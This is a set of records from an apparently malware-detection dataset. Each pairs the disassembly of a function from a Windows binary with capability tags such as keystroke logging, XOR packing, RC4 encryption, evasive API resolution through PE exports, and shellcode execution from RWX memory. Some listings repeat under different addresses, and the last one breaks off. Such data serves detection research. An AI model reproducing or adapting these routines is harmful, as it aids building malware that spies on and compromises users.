joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d2a0
Capabilities:
Contain obfuscated stackstrings
Create thread
Set console window title

Disassembly:
sub esp, 0x24
mov eax, dword [0x1003800c]
xor eax, esp
mov dword [esp + 0x20], eax
cmp dword [esp + 0x2c], 1
push esi
mov esi, dword [esp + 0x2c]
jne 0x1001d42e
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
test eax, eax
je 0x1001d323
push 1
mov word [esp + 8], 0x7477
mov byte [esp + 0xa], 0
mov dword [esp + 0xc], 0x4f4e4f43
mov dword [esp + 0x10], 0x245455
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
add esp, 0x10
push 0x10031d0e
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 7
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xa4
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + 0x10033bb4]
xor al, cl
inc ecx
mov byte [esp + edx + 0x14], al
and ecx, 0x800000ff
jns 0x1001d34d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x1001d330
push 0x1001d170
lea eax, [esp + 0x18]
mov byte [esp + 0x24], 0
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x72657375
push eax
mov dword [esp + 0x18], 0x642e3233
mov word [esp + 0x1c], 0x6c6c
mov byte [esp + 0x1e], 0
call fcn.10001750
push eax
call fcn.100010f0
mov dword [0x10038ddc], eax
mov ecx, 0x10
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + str.WtfPagexjIuh]
xor al, cl
inc ecx
mov byte [esp + edx + 0x14], al
and ecx, 0x800000ff
jns 0x1001d3bd
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x1001d3a0
push 0x1001d1c0
lea eax, [esp + 0x18]
mov byte [esp + 0x24], 0
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x72657375
push eax
mov dword [esp + 0x18], 0x642e3233
mov word [esp + 0x1c], 0x6c6c
mov byte [esp + 0x1e], 0
call fcn.10001750
push eax
call fcn.100010f0
push 0x104
push 0x10038de0
push esi
mov dword [0x10038dd8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push esi
push 0x1001c520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10038780], esi
mov ecx, dword [esp + 0x24]
mov eax, 1
pop esi
xor ecx, esp
call fcn.1002b17d
add esp, 0x24
ret 0xc
Function at 0x10023ca0
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
mov dword [edi + 0xd60], 0
mov dword [0x2438ff74], 0xffffffff
mov dword [0x243b2ef8], 0
cmp byte [0x10049408], 0
je 0x10023ce5
push 0x45
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x10023ce5
cmp byte [0x10049408], 0
jne 0x10023d12
mov ecx, dword [esi + 8]
cmp ecx, dword [esi]
jne 0x10023d05
inc dword [esi + 4]
add ecx, dword [esi + 4]
mov dword [esi + 8], ecx
mov dword [edi + 0xe08], ecx
mov eax, dword [esi + 8]
pop edi
mov dword [esi], eax
pop esi
ret 8
mov dword [esi + 4], 0
mov dword [edi + 0xe08], ecx
mov eax, dword [esi + 8]
pop edi
mov dword [esi], eax
pop esi
ret 8
Function at 0x100263a0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x1003800c]
xor eax, esp
mov dword [esp + 0x60], eax
push esi
push 0x40
lea eax, [esp + 0x24]
mov esi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, 0x20
mov dword [esp + 0x14], 0x67452301
mov dword [esp + 0x24], eax
lea ecx, [esp + 0x2c]
shr eax, 3
mov edx, 0x3f
and eax, 0x3f
mov dword [esp + 0x18], 0xefcdab89
add ecx, eax
mov dword [esp + 0x1c], 0x98badcfe
mov dword [esp + 0x20], 0x10325476
sub edx, eax
mov dword [esp + 0x28], 0
add esp, 0xc
mov dword [esp + 0x20], esi
mov byte [ecx], 0x80
inc ecx
cmp edx, 8
jae 0x10026442
push edx
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x14]
call fcn.10025d00
push 0x38
lea eax, [esp + 0x30]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
jmp 0x10026451
lea eax, [edx - 8]
push eax
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
mov dword [esp + 0x58], eax
lea ecx, [esp + 8]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x5c], eax
call fcn.10025d00
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0xe]
pop esi
xor ecx, esp
call fcn.1002b17d
mov esp, ebp
pop ebp
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
mov ecx, 0x33ea4963
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x1e3e41e2
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x40225f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov eax, 0x4021cb
sub eax, 0x401cf5
mov dword [ebp - 4], eax
push 8
push 0x408008
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406350
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
push 0x401cf5
lea eax, [ebp - 0x104]
push eax
call fcn.00406464
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406890
add esp, 0xc
call fcn.00401d3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x406464
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x40648a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0x10]
jge 0x40654c
mov edx, dword [ebp - 0xc]
add edx, 1
and edx, 0x800000ff
jns 0x4064ac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
and edx, 0x800000ff
jns 0x4064ce
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [ebp - 4]
mov byte [edx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40651d
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov byte [ecx], dl
jmp 0x406481
mov esp, ebp
pop ebp
ret
Function at 0x1b464c20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0
je 0x1b464cd5
mov ecx, dword [ebp + 8]
mov word [ecx], 0
call fcn.1b487f70
test eax, eax
je 0x1b464c93
lea edx, [ebp - 8]
push edx
push 0x20019
push 0
push 0x1b461408
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1b464c91
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0x1b461384
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x1b464cd5
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
lea edx, [ebp - 8]
push edx
push 0x20019
push 0
push 0x1b461448
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1b464cd5
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0x1b4614d0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [ebp - 8], 0
je 0x1b464ce5
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1b4c6524
Capabilities:
Encode data using xor

Disassembly:
call 0x1b4c649d
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1b4c64cd
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1b4c64e9
xor edx, 0
jmp 0x1b4c64f4
xor edx, edx
jmp 0x1b4c650b
jmp 0x1b4c6517
xor eax, eax
push 0x8427d7c0
call 0x1b4c6524
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1b4c6560
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1b4c6539
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1b4c6577
add eax, 0
jno 0x1b4c657c
add esi, 0
ret 0x10

Function at 0x1b4c72e5
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1b4c7307
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1b4c74a9
cmp edi, dword [ebp + 0x10]
jb 0x1b4c74a9
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1b4c6dd1
inc edi
jmp 0x1b4c7390
jmp 0x1b4c739d
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1b4c6dd1
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1b4c6dd1
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1b4c73f1
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1b4c73d5
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1b4c741f
add dword [eax], 0x39
jle 0x1b4c73fb
sub al, 0xf5
mov ch, al
call fcn.1b4c7434
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x1b4c910c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1b4c9122
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1b4c9133
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1b4c9174
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1b4cb4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1b4cb429
add ebx, 0
push ecx
call 0x1b4cb43e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x737391e5
sub ebx, dword [0x73758a24]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x73758a14
call fcn.1b4c6f08
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1b4c6416
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1b4cb59c
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1b4cb59c
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1b4cb553
mov eax, 1
lock xchg dword [0x73758a20], eax
push 0x3dd1fc71
call 0x1b4cb4e0
push esi
add esp, 8
cmp eax, 0
jne 0x1b4cb4c9
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1b4cb4ef
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1b4cb504
cmp ecx, edx
cmp eax, 0
je 0x1b4cb529
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1b4cb513
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1b4cb542
dec eax
loope 0x1b4cb545
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x73758a20], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1b4cb579
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1b4cb58e
jmp 0x1b4cb599
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1b4cb487
Function at 0x1b4d2601
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1b4d28d7
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x73745698
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7373c65e
push 0xffffffffffffffff
call fcn.1b4c9801
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1b4d266b
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1b4d2683
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1b4d28cb
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1b4d289f
Function at 0x1b4e20d1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1b4e20f3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1b4e20f3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1b4e20f3
ret
cmp word [ebx + 4], 0x14c
jne 0x1b4e20f3
test word [ebx + 0x16], 2
je 0x1b4e20f3
test word [ebx + 0x16], 0x100
je 0x1b4e20f3
cmp word [ebx + 0x18], 0x10b
jne 0x1b4e20f3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1b4e20f3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1b4e217f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1b4e2113
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1b4c905e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1b4e20f3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1b4e217f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1b4e20f3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1b4e20f3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1b4e20f3
ret
cmp word [ebx + 4], 0x14c
jne 0x1b4e20f3
test word [ebx + 0x16], 2
je 0x1b4e20f3
test word [ebx + 0x16], 0x100
je 0x1b4e20f3
cmp word [ebx + 0x18], 0x10b
jne 0x1b4e20f3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1b4e20f3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1b4e217f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1b4e2113
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1b4c905e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1b4e20f3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1b4e2236
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1b4e228f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1b4e2236
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1b4e2245
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1b8e7ee8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1b4e2296
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1b4c910c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1b4e2335
add edi, 4
add eax, 2
dec ecx
jne 0x1b4e227b
call 0x1b4e22e2
loope 0x1b4e22d8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1b4e2332
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1b4e2343
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1b4e22f6
cmp eax, ecx
ja 0x1b4e22f6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1b4e2380
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1b4e2376
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1b4c95eb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1b4e2245
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1b4e228f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1b4e2236
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1b4e2245
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1b8e7ee8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1b4e2296
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1b4c910c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1b4e2335
add edi, 4
add eax, 2
dec ecx
jne 0x1b4e227b
call 0x1b4e22e2
loope 0x1b4e22d8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1b4e2332
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1b4e2343
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1b4e22f6
cmp eax, ecx
ja 0x1b4e22f6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1b4e2380
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1b4e2376
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1b4c95eb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10002360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008a1a5
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x10101040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub dword [ebp + 0xc], 1
jne 0x100023e0
push 4
call fcn.100639aa
mov dword [ebp - 0x14], eax
mov dword [eax], 0x10002300
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x10002440
push 0
push 0
call fcn.100690fc
add esp, 0x1c
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1000240d
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10002400
push ecx
push eax
call fcn.1004e966
add esp, 8
test eax, eax
jne 0x10002407
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006399c
mov esp, ebp
pop ebp
ret 0xc
push 1
call fcn.1004e79b
push eax
call fcn.1004e76e
push 6
mov dword [ebp - 0x18], 0
call fcn.1004e79b
int3

Function at 0x100024a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008a207
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x10101040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push 0x80
mov dword [ebp - 0x18], eax
call fcn.100639aa
mov esi, eax
mov dword [ebp - 0x1c], esi
push 0x80
push 0
push esi
mov dword [ebp - 4], 0
call fcn.10065d90
